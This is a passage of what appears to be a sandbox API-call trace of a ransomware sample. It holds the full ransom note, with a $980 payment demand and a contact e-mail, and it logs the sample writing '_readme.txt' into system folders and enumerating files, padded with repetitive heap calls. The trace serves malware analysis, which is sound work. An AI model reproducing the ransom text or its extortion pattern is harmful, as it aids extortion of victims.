tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.191] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.191] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.191] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.192] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.192] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.192] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.192] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.192] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.192] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.192] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.193] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.194] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.194] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.196] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.196] HeapFree (in: hHeap=0x810000, 